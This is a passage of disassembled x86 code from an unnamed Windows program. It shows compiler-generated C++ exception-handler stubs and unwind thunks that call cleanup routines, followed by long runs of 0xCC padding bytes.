======================================= ; Attributes: noreturn SEH_425980 proc near ; DATA XREF: sub_425980+2o mov eax, offset dword_4418D8 jmp sub_4367C8 SEH_425980 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 